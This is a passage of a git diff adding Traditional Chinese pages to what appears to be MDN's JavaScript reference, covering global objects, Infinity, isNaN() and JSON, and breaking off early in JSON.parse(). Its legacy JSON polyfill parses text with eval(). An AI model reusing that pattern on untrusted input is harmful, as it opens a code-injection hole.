+ <li>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</li>
+ <li>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</li>
+</ul>
+
+<h3 id="基礎物件">基礎物件</h3>
+
+<p>這裡所陳列稱為基礎物件,將作為其他所有物件的母物件。包含了一般物件、函式以及錯誤。</p>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Symbol")}}</li>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("EvalError")}}</li>
+ <li>{{jsxref("InternalError")}}</li>
+ <li>{{jsxref("RangeError")}}</li>
+ <li>{{jsxref("ReferenceError")}}</li>
+ <li>{{jsxref("SyntaxError")}}</li>
+ <li>{{jsxref("TypeError")}}</li>
+ <li>{{jsxref("URIError")}}</li>
+</ul>
+
+<h3 id="數字與日期">數字與日期</h3>
+
+<p>這裡陳列了數字、日期及數學運算。</p>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("Math")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
+
+<h3 id="文字處理">文字處理</h3>
+
+<p>These objects represent strings and support manipulating them.</p>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
+
+<h3 id="具索引的集合">具索引的集合</h3>
+
+<p>These objects represent collections of data which are ordered by an index value. This includes (typed) arrays and array-like constructs.</p>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Int8Array")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+ <li>{{jsxref("Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Int16Array")}}</li>
+ <li>{{jsxref("Uint16Array")}}</li>
+ <li>{{jsxref("Int32Array")}}</li>
+ <li>{{jsxref("Uint32Array")}}</li>
+ <li>{{jsxref("Float32Array")}}</li>
+ <li>{{jsxref("Float64Array")}}</li>
+</ul>
+
+<h3 id="具鍵值的集合">具鍵值的集合</h3>
+
+<p>These objects represent collections which use keys; these contain elements which are iterable in the order of insertion.</p>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
+
+<h3 id="向量集合">向量集合</h3>
+
+<p>{{Glossary("SIMD")}} vector data types are objects where data is arranged into lanes.</p>
+
+<ul>
+ <li>{{jsxref("SIMD")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Float32x4", "SIMD.Float32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Float64x2", "SIMD.Float64x2")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Int8x16", "SIMD.Int8x16")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Int16x8", "SIMD.Int16x8")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Int32x4", "SIMD.Int32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Uint8x16", "SIMD.Uint8x16")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Uint16x8", "SIMD.Uint16x8")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Uint32x4", "SIMD.Uint32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool8x16", "SIMD.Bool8x16")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool16x8", "SIMD.Bool16x8")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool32x4", "SIMD.Bool32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool64x2", "SIMD.Bool64x2")}} {{experimental_inline}}</li>
+</ul>
+
+<h3 id="結構化資料">結構化資料</h3>
+
+<p>These objects represent and interact with structured data buffers and data coded using JavaScript Object Notation (JSON).</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Atomics")}} {{experimental_inline}}</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("JSON")}}</li>
+</ul>
+
+<h3 id="控制抽象化物件">控制抽象化物件</h3>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Generator")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{experimental_inline}} {{jsxref("AsyncFunction")}}</li>
+</ul>
+
+<h3 id="Reflection">Reflection</h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
+
+<h3 id="國際化">國際化</h3>
+
+<p>Additions to the ECMAScript core for language-sensitive functionalities.</p>
+
+<ul>
+ <li>{{jsxref("Intl")}}</li>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
+
+<h3 id="WebAssembly">WebAssembly</h3>
+
+<ul>
+ <li>{{jsxref("WebAssembly")}}</li>
+ <li>{{jsxref("WebAssembly.Module")}}</li>
+ <li>{{jsxref("WebAssembly.Instance")}}</li>
+ <li>{{jsxref("WebAssembly.Memory")}}</li>
+ <li>{{jsxref("WebAssembly.Table")}}</li>
+ <li>{{jsxref("WebAssembly.CompileError")}}</li>
+ <li>{{jsxref("WebAssembly.LinkError")}}</li>
+ <li>{{jsxref("WebAssembly.RuntimeError")}}</li>
+</ul>
+
+<h3 id="非標準物件">非標準物件</h3>
+
+<ul>
+ <li>{{jsxref("Iterator")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("ParallelArray")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("StopIteration")}} {{non-standard_inline}}</li>
+</ul>
+
+<h3 id="其他">其他</h3>
+
+<ul>
+ <li><code><a href="/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/infinity/index.html b/files/zh-tw/web/javascript/reference/global_objects/infinity/index.html
new file mode 100644
index 0000000000..147914eea7
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/infinity/index.html
@@ -0,0 +1,76 @@
+---
+title: Infinity
+slug: Web/JavaScript/Reference/Global_Objects/Infinity
+translation_of: Web/JavaScript/Reference/Global_Objects/Infinity
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>全域 <code><strong>Infinity</strong></code> 屬性是一個表示無窮大的數值。</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>Infinity </code></pre>
+
+<h2 id="描述">描述</h2>
+
+<p><code>Infinity</code> 是全域物件屬性，即它是全域範圍內的變數。</p>
+
+<p><code>Infinity</code> 的初始值是 {{jsxref("Number.POSITIVE_INFINITY")}} <code>Infinity</code> 值（正無窮大）值大於其他任何數值。該值在數學上表現為無窮大。例如，任何乘以 <code>Infinity</code> 的正整數都是 <code>Infinity</code>，除以 <code>Infinity</code> 的任何數都是 0。</p>
+
+<p>按照 ECMAScript 5 規範，在 JavaScript 1.8.5 / Firefox 4 實作的 <code>Infinity</code> 乃唯讀屬性。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">console.log(Infinity         ); /* Infinity */
+console.log(Infinity + 1     ); /* Infinity */
+console.log(Math.pow(10,1000)); /* Infinity */
+console.log(Math.log(0)      ); /* -Infinity */
+console.log(1 / Infinity     ); /* 0 */
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>初始定義。在 JavaScript 1.3 實作。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.2', 'Infinity')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{Compat("javascript.builtins.Infinity")}}</p>
+
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/isnan/index.html b/files/zh-tw/web/javascript/reference/global_objects/isnan/index.html
new file mode 100644
index 0000000000..6f055cb8fa
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/isnan/index.html
@@ -0,0 +1,183 @@
+---
+title: isNaN()
+slug: Web/JavaScript/Reference/Global_Objects/isNaN
+translation_of: Web/JavaScript/Reference/Global_Objects/isNaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>isNaN()</strong></code> 函式會判斷某個數值是不是 {{jsxref("NaN")}}。注意：在 <code>isNaN</code> 函式裡面，有個<a href="#描述">有趣的</a>強制性規則。你可能會想改用在 ECMAScript 2015 導入的 {{jsxref("Number.isNaN()")}}。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-isnan.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>isNaN(<em>value</em>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>要測試的數值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>如果給定值是 {{jsxref("NaN")}} 就回傳 <strong><code>true</code></strong>、否則就回傳 <strong><code>false</code></strong>。</p>
+
+<h2 id="描述">描述</h2>
+
+<h3 id="為什麼要用_isNaN_函式">為什麼要用 <code>isNaN</code> 函式</h3>
+
+<p>與其他 JavaScript 的值不同，你不可能靠等號運算符（== 與 ===）來判斷某個值是不是 {{jsxref("NaN")}}，因為連 <code>NaN == NaN</code> 與 <code>NaN === NaN</code> 的結果都是 <code>false</code>。因此，<code>isNaN</code> 函式是必要的。</p>
+
+<h3 id="NaN_值的來源"><code>NaN</code> 值的來源</h3>
+
+<p><code>NaN</code> 會在算術運算（arithmetic operations）出現 <em>undefined</em> 或是 <em>unrepresentable</em> 值的結果時產生。這些值不一定是溢出條件。<code>NaN</code> 亦為試圖給毫無可用數字的原始值、予以強制運算之結果。</p>
+
+<p>例如，零除以零的結果會是 <code>NaN</code>——不過把其他數字除以零則不是 <code>NaN</code>。</p>
+
+<h3 id="令人困惑的特殊狀況行為">令人困惑的特殊狀況行為</h3>
+
+<p>從最早的 <code>isNaN</code> 函式版本規範始，其針對非數值之行為，不斷教人困惑至極。當 <code>isNaN</code> 函式的參數並非<a href="http://es5.github.com/#x8.5" title="http://es5.github.com/#x8.5">數字</a>型別時，此值會先強制轉換到數字。該值接著會測定此值是否為 {{jsxref("NaN")}}。因此，當被強制轉換的非數字，給出了有效的非 NaN 值（經典案例為空的字串與布林原始值：它們在強制轉換時，會給予數字結果 0 或 1）時，會回傳不如預期的「false」值：以空的字串為例，它很明顯地「非數字」。這段教人糾結的點，乃出於「非數字」術語的「數字」一詞、由 IEEE-754 浮點值定義之事實而來。這個函式要解釋為「當這個值，被強制轉換為數值時，它還是 IEEE-754 的『非數字』值嗎？」的答案。</p>
+
+<p>最新的 ECMAScript（ES2015）版本導入了 {{jsxref("Number.isNaN()")}} 函式。儘管 <code>Number.isNaN</code> 的 <code>NaN</code> 依舊維持了數字上的意義、而不是簡單的「非數字」，<code>Number.isNaN(x)</code> 在偵測 <code>x</code> 為 <code>NaN</code> 與否時比較可靠。另外，如果在缺少 <code>Number.isNaN</code> 的情況下，通過表達式<code>(x != x)</code> 來檢測變量<code>x</code>是否是NaN會更加的可靠。</p>
+
+<p>一個 <code>isNaN</code> 的 polyfill 可以理解為（這個 polyfill 利用了 <code>NaN</code> 自身永不等於自身這一特性）：</p>
+
+<pre class="brush: js">var isNaN = function(value) {
+    var n = Number(value);
+    return n !== n;
+};</pre>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">isNaN(NaN);       // true
+isNaN(undefined); // true
+isNaN({});        // true
+
+isNaN(true);      // false
+isNaN(null);      // false
+isNaN(37);        // false
+
+// 字串
+isNaN("37");      // false: "37" 轉換成數字的 37 後就不是 NaN 了
+isNaN("37.37");   // false: "37.37" 轉換成數字的 37.37 後就不是 NaN 了
+isNaN("123ABC");  // true:  parseInt("123ABC") 是 123 但 Number("123ABC") 是 NaN
+isNaN("");        // false: 空字串轉換成數字的 0 後就不是 NaN 了
+isNaN(" ");       // false: 有空白的字串轉換成數字的 0 後就不是 NaN 了
+
+// 日期
+isNaN(new Date());                // false
+isNaN(new Date().toString());     // true
+
+// 這個偵測的錯誤是不能完全信賴 isNaN 的理由
+isNaN("blabla")   // true: "blabla" 被轉換為數字，將其解析為數字失敗後回傳了 NaN
+</pre>
+
+<h3 id="實用的特殊狀況行為">實用的特殊狀況行為</h3>
+
+<p>當然，你能以更用途導向的方法去思考 <code>isNaN()</code>：如果 <code>isNaN()</code> 回傳 <code>false</code>，那麼把 <code>x</code> 用在任何算術表達式都不會回傳 <code>NaN</code>。相反地，如果回傳 <code>true</code>，那麼把 <code>x</code> 用在任何算術表達式都會是 <code>NaN</code>。這在 JavaScript 的意義是 <code>isNaN(x) == true</code> 等於 <code>x - 0</code> 回傳 <code>NaN</code>（儘管在 JavaScript 裡面 <code>x - 0 == NaN</code> 永遠回傳 false，你因而無法測試）──事實上，<code>isNaN(x)</code>、<code>isNaN(x - 0)</code>、<code>isNaN(Number(x))</code>、<code>Number.isNaN(x - 0)</code>、<code>Number.isNaN(Number(x))</code> 在 JavaScript 裡面，都會回傳一樣的東西。而 <code>isNaN(x)</code> 是所有表達式裡面最短的一種。</p>
+
+<p>比方說，你可以用這個式子，去測試函式的參數能不能透過算術處理（也就是能「像」數字一樣被利用）、否則就提供預設值之類的。你可以透過上下文的根據以隱式數值轉換(implicitly converting values)，以使用 JavaScript 提供的全部功能。</p>
+
+<h2 id="範例_2">範例</h2>
+
+<pre class="brush: js">function increment(x) {
+  if (isNaN(x)) x = 0;
+  return x + 1;
+};
+
+// 與 Number.isNaN() 一樣：
+function increment(x) {
+  if (Number.isNaN(Number(x))) x = 0;
+  return x + 1;
+};
+
+// 以下範例的函式參數 x，isNaN(x) 都會回傳 false，
+// 儘管 x 不是數字，依舊能用在算術表達式。
+increment("");            // 1: "" 被轉換成 0
+increment(new String());  // 1: 空字串的新字串物件被轉換成 0
+increment([]);            // 1: [] 被轉換成 0
+increment(new Array());   // 1: 空陣列的新陣列物件被轉換成 0
+increment("0");           // 1: "0" 被轉換成 0
+increment("1");           // 2: "1" 被轉換成 1
+increment("0.1");         // 1.1: "0.1" 被轉換成 0.1
+increment("Infinity");    // Infinity: "Infinity" 被轉換成 Infinity
+increment(null);          // 1: null 被轉換成 0
+increment(false);         // 1: false 被轉換成 0
+increment(true);          // 2: true 被轉換成 1
+increment(new Date());    // 回傳以毫秒為單位加 1，當今的日期/時間
+
+// 以下範例的函式參數 x，isNaN(x) 都會回傳 false，而 x 的確是數字。
+increment(-1);            // 0
+increment(-0.1);          // 0.9
+increment(0);             // 1
+increment(1);             // 2
+increment(2);             // 3
+// …等等…
+increment(Infinity);      // Infinity
+
+// 以下範例的函式參數 x，isNaN(x) 都會回傳 true，x 也的確不是數字。
+// 使得函式會被 0 取代，並回傳 1
+increment(String);            // 1
+increment(Array);             // 1
+increment("blabla");          // 1
+increment("-blabla");         // 1
+increment(0/0);               // 1
+increment("0/0");             // 1
+increment(Infinity/Infinity); // 1
+increment(NaN);               // 1
+increment(undefined);         // 1
+increment();                  // 1
+
+// isNaN(x) 與 isNaN(Number(x)) 永遠一樣，不過這裡的 x 是強制存在的！
+isNaN(x) == isNaN(Number(x)) // 針對所有 x 的值都是 true，x == undefined 也不例外，
+                             // 因為 isNaN(undefined) == true 且 Number(undefined) 回傳 NaN，
+                             // 不過……
+isNaN() == isNaN(Number())   // false，因為 isNaN() == true 且 Number() == 0
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-isnan-number', 'isNaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.isNaN")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/json/index.html b/files/zh-tw/web/javascript/reference/global_objects/json/index.html
new file mode 100644
index 0000000000..8d3aeadbf2
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/json/index.html
@@ -0,0 +1,206 @@
+---
+title: JSON
+slug: Web/JavaScript/Reference/Global_Objects/JSON
+tags:
+  - JSON
+  - JavaScript
+  - NeedsTranslation
+  - Object
+  - Reference
+  - Référence(2)
+  - TopicStub
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>JSON</code></strong> 物件包含了解析、或是轉換為 <a class="external" href="http://json.org/">JavaScript Object Notation</a>（{{glossary("JSON")}}）格式的方法。這物件不能被呼叫或建構；而除了它的兩個方法屬性以外，本身也沒有特別的功能。</p>
+
+<h2 id="描述">描述</h2>
+
+<h3 id="JavaScript_Object_Notation">JavaScript Object Notation</h3>
+
+<p>JSON 是序列物件、陣列、數字、字串、布林值、還有 {{jsxref("null")}} 的語法。它建基、但不同於 JavaScript：有些 JavaScript 不是 JSON、而有些 JSON 不是 JavaScript。請參見 <a href="http://timelessrepo.com/json-isnt-a-javascript-subset">JSON: The JavaScript subset that isn't</a>。</p>
+
+<table>
+ <caption>JavaScript 與 JSON 的差別</caption>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript 型別</th>
+   <th scope="col">與 JSON 的差別</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>物件與陣列</td>
+   <td>屬性名稱必須是包含在雙引號中的字串；禁止尾後逗號。</td>
+  </tr>
+  <tr>
+   <td>數字</td>
+   <td>數字不可以0作為開頭(在 JSON.stringify 0會被忽略，但是在 JSON.parse 會造成語法錯誤)；小數點前面必須至少有一位數字。</td>
+  </tr>
+  <tr>
+   <td>字串</td>
+   <td>
+    <p>Only a limited set of characters may be escaped; certain control characters are prohibited; the Unicode line separator (<a href="http://unicode-table.com/en/2028/">U+2028</a>) and paragraph separator (<a href="http://unicode-table.com/en/2029/">U+2029</a>) characters are permitted; strings must be double-quoted. See the following example where {{jsxref("JSON.parse()")}} works fine and a {{jsxref("SyntaxError")}} is thrown when evaluating the code as JavaScript:</p>
+
+    <pre class="brush: js">
+var code = '"\u2028\u2029"';
+JSON.parse(code); // works fine
+eval(code); // fails
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>JSON 的完整語法如下：</p>
+
+<pre><var>JSON</var> = <strong>null</strong>
+    <em>or</em> <strong>true</strong> <em>or</em> <strong>false</strong>
+    <em>or</em> <var>JSONNumber</var>
+    <em>or</em> <var>JSONString</var>
+    <em>or</em> <var>JSONObject</var>
+    <em>or</em> <var>JSONArray</var>
+
+<var>JSONNumber</var> = <strong>-</strong> <var>PositiveNumber</var>
+          <em>or</em> <var>PositiveNumber</var>
+<var>PositiveNumber</var> = DecimalNumber
+              <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var>
+              <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> <var>ExponentPart</var>
+              <em>or</em> <var>DecimalNumber</var> <var>ExponentPart</var>
+<var>DecimalNumber</var> = <strong>0</strong>
+             <em>or</em> <var>OneToNine</var> <var>Digits</var>
+<var>ExponentPart</var> = <strong>e</strong> <var>Exponent</var>
+            <em>or</em> <strong>E</strong> <var>Exponent</var>
+<var>Exponent</var> = <var>Digits</var>
+        <em>or</em> <strong>+</strong> <var>Digits</var>
+        <em>or</em> <strong>-</strong> <var>Digits</var>
+<var>Digits</var> = <var>Digit</var>
+      <em>or</em> <var>Digits</var> <var>Digit</var>
+<var>Digit</var> = <strong>0</strong> through <strong>9</strong>
+<var>OneToNine</var> = <strong>1</strong> through <strong>9</strong>
+
+<var>JSONString</var> = <strong>""</strong>
+          <em>or</em> <strong>"</strong> <var>StringCharacters</var> <strong>"</strong>
+<var>StringCharacters</var> = <var>StringCharacter</var>
+                <em>or</em> <var>StringCharacters</var> <var>StringCharacter</var>
+<var>StringCharacter</var> = any character
+                  <em>except</em> <strong>"</strong> <em>or</em> <strong>\</strong> <em>or</em> U+0000 through U+001F
+               <em>or</em> <var>EscapeSequence</var>
+<var>EscapeSequence</var> = <strong>\"</strong> <em>or</em> <strong>\/</strong> <em>or</em> <strong>\\</strong> <em>or</em> <strong>\b</strong> <em>or</em> <strong>\f</strong> <em>or</em> <strong>\n</strong> <em>or</em> <strong>\r</strong> <em>or</em> <strong>\t</strong>
+              <em>or</em> <strong>\u</strong> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var>
+<var>HexDigit</var> = <strong>0</strong> through <strong>9</strong>
+        <em>or</em> <strong>A</strong> through <strong>F</strong>
+        <em>or</em> <strong>a</strong> through <strong>f</strong>
+
+<var>JSONObject</var> = <strong>{</strong> <strong>}</strong>
+          <em>or</em> <strong>{</strong> <var>Members</var> <strong>}</strong>
+<var>Members</var> = <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+       <em>or</em> <var>Members</var> <strong>,</strong> <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+
+<var>JSONArray</var> = <strong>[</strong> <strong>]</strong>
+         <em>or</em> <strong>[</strong> <var>ArrayElements</var> <strong>]</strong>
+<var>ArrayElements</var> = <var>JSON</var>
+             <em>or</em> <var>ArrayElements</var> <strong>,</strong> <var>JSON</var>
+</pre>
+
+<p>Insignificant whitespace may be present anywhere except within a <code><var>JSONNumber</var></code> (numbers must contain no whitespace) or <code><var>JSONString</var></code> (where it is interpreted as the corresponding character in the string, or would cause an error). The tab character (<a href="http://unicode-table.com/en/0009/">U+0009</a>), carriage return (<a href="http://unicode-table.com/en/000D/">U+000D</a>), line feed (<a href="http://unicode-table.com/en/000A/">U+000A</a>), and space (<a href="http://unicode-table.com/en/0020/">U+0020</a>) characters are the only valid whitespace characters.</p>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("JSON.parse()")}}</dt>
+ <dd>解析 JSON 字串，能改變給定值和屬性、接著回傳解析值。</dd>
+ <dt>{{jsxref("JSON.stringify()")}}</dt>
+ <dd>回傳給定的 JSON 對應字串，可自行決定只想包括哪些特定屬性、或替換的屬性值。</dd>
+</dl>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>舊版瀏覽器並不支援 <code>JSON</code>。你可以在程式碼開頭插入以下程式碼，以解決這個問題。這個程式碼能實做不支援原生 <code>JSON</code> 物件的瀏覽器（如 Internet Explorer 6）。</p>
+
+<p>以下演算法能仿製原生 <code>JSON</code> 物件。</p>
+
+<pre class="brush: js">if (!window.JSON) {
+  window.JSON = {
+    parse: function(sJSON) { return eval('(' + sJSON + ')'); },
+    stringify: (function () {
+      var toString = Object.prototype.toString;
+      var hasOwnProperty = Object.prototype.hasOwnProperty;
+      var isArray = Array.isArray || function (a) { return toString.call(a) === '[object Array]'; };
+      var escMap = {'"': '\\"', '\\': '\\\\', '\b': '\\b', '\f': '\\f', '\n': '\\n', '\r': '\\r', '\t': '\\t'};
+      var escFunc = function (m) { return escMap[m] || '\\u' + (m.charCodeAt(0) + 0x10000).toString(16).substr(1); };
+      var escRE = /[\\"\u0000-\u001F\u2028\u2029]/g;
+      return function stringify(value) {
+        if (value == null) {
+          return 'null';
+        } else if (typeof value === 'number') {
+          return isFinite(value) ? value.toString() : 'null';
+        } else if (typeof value === 'boolean') {
+          return value.toString();
+        } else if (typeof value === 'object') {
+          if (typeof value.toJSON === 'function') {
+            return stringify(value.toJSON());
+          } else if (isArray(value)) {
+            var res = '[';
+            for (var i = 0; i &lt; value.length; i++)
+              res += (i ? ', ' : '') + stringify(value[i]);
+            return res + ']';
+          } else if (toString.call(value) === '[object Object]') {
+            var tmp = [];
+            for (var k in value) {
+              // in case "hasOwnProperty" has been shadowed
+              if (hasOwnProperty.call(value, k))
+                tmp.push(stringify(k) + ': ' + stringify(value[k]));
+            }
+            return '{' + tmp.join(', ') + '}';
+          }
+        }
+        return '"' + value.toString().replace(escRE, escFunc) + '"';
+      };
+    })()
+  };
+}
+</pre>
+
+<p>More complex well-known <a class="external" href="http://remysharp.com/2010/10/08/what-is-a-polyfill/">polyfills</a> for the <code>JSON</code> object are <a class="link-https" href="https://github.com/douglascrockford/JSON-js">JSON2</a> and <a class="external" href="http://bestiejs.github.com/json3">JSON3</a>.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json-object', 'JSON')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<div>{{Compat("javascript.builtins.JSON")}}</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toJSON()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/json/parse/index.html b/files/zh-tw/web/javascript/reference/global_objects/json/parse/index.html
new file mode 100644
index 0000000000..eb821587a5
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/json/parse/index.html
@@ -0,0 +1,170 @@
+---
+title: JSON.parse()
+slug: Web/JavaScript/Reference/Global_Objects/JSON/parse
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/parse
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>JSON.parse()</code></strong> 方法把會把一個JSON字串轉換成 JavaScript的數值或是物件。另外也可選擇使用reviver函數讓這些數值或是物件在被回傳之前做轉換。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">JSON.parse(<var>text</var>[, <var>reviver</var>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>要解析成 JSON 的字串。針對 JSON 語法的描述，請參見 {{jsxref("JSON")}} 物件。</dd>
+ <dt><code>reviver</code> {{optional_inline}}</dt>
+ <dd>為選擇性的參數，用來描述JSON字串中的值該如何被解析並回傳的函式(function)</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>從給定的 JSON <code>text</code> 回傳對應的 {{jsxref("Object")}}。</p>
+
+<h3 id="Throws">Throws</h3>
+
+<p>如果解析的字串不是合法的JSON格式會丟出一個 {{jsxref("SyntaxError")}} 例外</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Using_JSON.parse">Using <code>JSON.parse()</code></h3>
+
+<pre class="brush: js">JSON.parse('{}');              // {}
+JSON.parse('true');            // true
+JSON.parse('"foo"');           // "foo"
